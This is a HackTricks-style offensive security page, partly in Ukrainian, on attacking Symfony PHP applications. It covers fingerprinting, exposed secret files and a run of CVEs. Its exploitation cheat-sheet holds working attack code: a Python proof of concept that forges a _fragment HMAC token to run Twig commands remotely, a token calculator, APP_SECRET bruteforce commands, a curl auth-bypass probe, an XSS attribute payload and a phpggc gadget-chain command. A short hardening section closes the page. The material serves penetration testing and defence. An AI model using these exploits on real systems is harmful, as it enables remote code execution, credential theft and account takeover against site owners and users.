Symfony
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Symfony is one of the most widely-used PHP frameworks and regularly appears in assessments of enterprise, e-commerce and CMS targets (Drupal, Shopware, Ibexa, OroCRM … all embed Symfony components). Ця сторінка збирає офензивні поради, типові помилки конфігурації та останні вразливості, які варто мати у вашому чек-листі при виявленні Symfony-додатку.
Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Symfony 7.4 became the new LTS in Nov 2025 and will receive security fixes until Nov 2029. Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.
Recon & Enumeration
Finger-printing
- HTTP response headers:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkor cookies starting withsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) часто показують точну версію:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Public routes that only exist on Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists:
symfony.txt→ шукайте/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Why it matters |
|---|---|
/.env, /.env.local, /.env.prod | Часто неправильно розгортаються → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Source disclosure → credentials + business logic |
/var/log/*.log, /log/dev.log | Неправильна конфігурація web-root відкриває stack-traces |
/_profiler | Повна історія запитів, конфігурація, service container, APP_SECRET (≤ 3.4) |
/_fragment | Точка входу, яку використовують ESI/HInclude. Зловживання можливе після того, як ви знаєте APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE якщо доступний (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & іноді leak exception traces |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 originally, but still appears on modern targets when debug is left enabled or
.envis exposed. - Після отримання 32-символьного
APP_SECRETскрафтіть HMAC токен і зловживайте внутрішнім контролеромrender()щоб виконати довільний Twig:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Відмінний розбір та скрипт для експлуатації: Ambionics blog (linked in References).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Впливає на версії нижче 5.4.50, 6.4.29 та 7.3.7. Нормалізація шляху могла видаляти ведучий
/, що ламало правила контролю доступу, які припускають/adminтощо. - Швидка перевірка:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ якщо доступ до admin-маршрутів відбувається без авторизації — виявлено. - Патч: оновити
symfony/http-foundationабо весь фреймворк до виправленого патч-рівня.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Впливає на версії нижче 5.4.51, 6.4.33, 7.3.11, 7.4.5 та 8.0.5 на Windows коли PHP запускається з MSYS2 (Git-Bash, mingw).
Processне коректно екранує=, що призводить до пошкоджених шляхів; деструктивні команди (rmdir,del) можуть торкнутися небажаних директорій. - Якщо ви можете завантажити PHP-скрипт або впливати на Composer/CLI-хелпери, що викликають
Process, скрафтьте аргументи з=(наприкладE:/=tmp/delete) щоб спричинити перезапис шляху.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Коли
register_argv_argc=Onі використовуються non-SAPI runtimes, спеціально сформовані рядки запиту можуть змінюватиAPP_ENV/APP_DEBUGчерез парсингargv. Виправлено в 5.4.46/6.4.14/7.1.7. - Шукайте
/?--env=prodабо подібні записи в логах.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Спеціальні символи в URI не валідовались так, як це роблять браузери, що дозволяло редирект на домени під контролем атакуючого. Виправлено в 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentbefore 2.25.1 рендерять{{ attributes }}без екранування → attribute injection/XSS. Якщо додаток дозволяє користувачам визначати атрибути компонентів (admin CMS, email templating), це можна ланцюжити до виконання скриптів.- Оновіть обидва пакети до 2.25.1+. Як ручний експлойт — помістіть JS в значення атрибута, яке передається в кастомний компонент, і спричиніть його рендеринг.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Компонент
Processшукав поточний робочий каталог передPATHна Windows. Атакуючий, який може завантажитиtar.exe,cmd.exeтощо у записуваний web-root і викликатиProcess(наприклад розпакування файлів, генерація PDF), отримує виконання команд. - Виправлено в 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- Authentication guard повторно використовував існуючий session ID після логіну. Якщо атакуючий встановить cookie до аутентифікації жертви — він отримає доступ до аккаунта після логіну.
9. Twig sandbox XSS – CVE-2023-46734
- В додатках, які відкривають доступ до шаблонів, керованих користувачем (admin CMS, email builder), фільтр
nl2brможна було використати для обходу sandbox і інжекції JS.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idгенерує Phar payload, що викликає RCE при unserialize() на класах типуsfNamespacedParameterHolder. Перевірте endpoints для завантаження файлів таphar://wrappers.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce слабкого APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE через відкриту Symfony Console
Якщо bin/console доступний через php-fpm або пряме CLI upload:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Використовуйте deserialization gadgets inside the cache directory або напишіть шкідливий Twig template, який буде виконано під час наступного запиту.
Перевірте PATH_INFO bypass швидко (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Якщо відрендерований вихід виводить атрибут без екранування, XSS вдається. Оновіть до 2.25.1+.
Рекомендації з безпеки
- Never deploy debug (
APP_ENV=dev,APP_DEBUG=1) у production; заблокуйте/app_dev.php,/_profiler,/_wdtу конфігурації веб-сервера. - Зберігайте секрети в env vars або
vault/secrets.local.php, ніколи у файлах, доступних через document-root. - Забезпечте керування патчами — підписуйтеся на Symfony security advisories та підтримуйте принаймні LTS patch-level (5.4.x до Nov 2025, 6.4 до Nov 2027, 7.4 до Nov 2029).
- Якщо ви працюєте на Windows, оновіться негайно, щоб пом’якшити наслідки CVE-2024-51736 & CVE-2026-24739 або додайте
open_basedir/disable_functionsяк багаторівневий захист.
Корисні offensive інструменти
- ambionics/symfony-exploits – secret-fragment RCE, debugger routes discovery.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder – невеликий допоміжний інструмент для обчислення
_fragmentHMAC (Go implementation).
References
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


